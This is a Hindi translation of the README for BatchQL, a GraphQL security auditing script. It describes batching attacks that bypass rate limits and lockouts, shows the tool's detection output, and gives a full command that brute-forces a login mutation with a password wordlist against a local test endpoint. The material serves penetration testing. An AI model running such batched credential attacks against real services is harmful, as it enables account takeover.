
ग्राफ़क्यूएल सुरक्षा ऑडिटिंग स्क्रिप्ट जो बैच ग्राफ़क्यूएल क्वेरी और म्यूटेशन निष्पादित करने पर केंद्रित है।
BatchQL एक GraphQL सुरक्षा ऑडिटिंग स्क्रिप्ट है जिसका ध्यान बैच GraphQL क्वेरी और म्यूटेशन करने पर है। यह स्क्रिप्ट जटिल नहीं है, और हम सुधारों का स्वागत करते हैं।
जब हम GraphQL बैचिंग हमलों की समस्या के क्षेत्र का पता लगा रहे थे, तो हमने पाया कि इंटरनेट पर कुछ ब्लॉग पोस्ट थे, हालांकि GraphQL बैचिंग हमले करने के लिए कोई उपकरण नहीं था।
GraphQL बैचिंग हमले कार्यान्वित कार्यक्षमताओं के आधार पर काफी गंभीर हो सकते हैं। उदाहरण के लिए, एक पासवर्ड रीसेट कार्यक्षमता की कल्पना करें जो आपके ईमेल पर भेजे गए 4 अंकों के पिन की अपेक्षा करती है। इस उपकरण के साथ, आप एक ही GraphQL क्वेरी में सभी 10 हजार पिन प्रयास कर सकते हैं। यह पासवर्ड रीसेट प्रवाह के कार्यान्वयन विवरणों के आधार पर किसी भी दर सीमा या खाता लॉकआउट को बायपास कर सकता है।
यह उपकरण निम्नलिखित का पता लगाने में सक्षम है:
वर्तमान में, यह उपकरण बैचिंग हमलों के लिए केवल JSON सूची आधारित क्वेरी भेजने का समर्थन करता है। यह उन परिदृश्यों का समर्थन करता है जहाँ चर क्वेरी में एम्बेडेड हैं, या जहाँ वे JSON इनपुट में प्रदान किए गए हैं।
❯ python batch.py -e http://re.local:5000/graphiql -p localhost:8080
Schema suggestions enabled. Use Clairvoyance to recover schema: https://github.com/nikitastupin/clairvoyance
CSRF GET based successful. Please confirm that this is a valid issue.
CSRF POST based successful. Please confirm that this is a valid issue.
Query name based batching: GraphQL batching is possible... preflight request was successful.
Query JSON list based batching: GraphQL batching is possible... preflight request was successful.
Most provide query, wordlist, and size to perform batching attack.
acc-login.txt:mutation emailLoginRemembered($loginInput: InputRememberedEmailLogin!) {
emailLoginRemembered(loginInput: $loginInput) {
authToken {
accessToken
__typename
}
userSessionResponse {
userToken
userIdentity {
userId
identityType
verified
onboardingStatus
registrationReferralCode
userReferralInfo {
referralCode {
code
valid
__typename
}
__typename
}
__typename
}
__typename
}
__typename
}
}
❯ python batch.py --query acc-login.txt --wordlist passwords.txt -v '{"loginInput":{"email":"[email protected]","password":"#VARIABLE#","rememberMe":false}}' --size 100 -e http://re.local:5000/graphiql -p localhost:8080
उपरोक्त कमांड निम्नलिखित करता है:
--query acc-login.txt से क्वेरी निर्दिष्ट करता है।--wordlist passwords.txt निर्दिष्ट करता है।-v {"loginInput":{"email":"[email protected]","password":"#VARIABLE#","rememberMe":false}} निर्दिष्ट करता है।--size 100 निर्दिष्ट करता है।-e http://re.local:5000/graphiql निर्दिष्ट करता है।-p localhost:8080 निर्दिष्ट करता है।